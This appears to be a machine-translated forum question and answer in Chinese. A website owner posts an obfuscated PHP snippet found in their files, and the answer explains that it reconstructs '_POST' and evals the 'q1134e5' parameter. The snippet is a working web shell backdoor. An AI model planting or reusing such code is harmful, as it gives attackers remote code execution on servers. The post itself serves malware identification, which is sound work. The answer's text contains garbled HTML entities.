Question

最近接管了一个网站并在一些文件中发现了以下代码，相信它是恶意的：

<?php 
 $qV="stop_";
 $s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
 if(isset(${$s20}['q1134e5'])){eval(${$s20}['q1134e5']);}
?>

关于它的作用的任何想法？

Answer 1

似乎： - 第一行是＆＃34; _POST＆＃34 ;; - 第二行检查_POST是否有效，而不是参数＆＃39; q1134e5＆＃39;从帖子中执行它。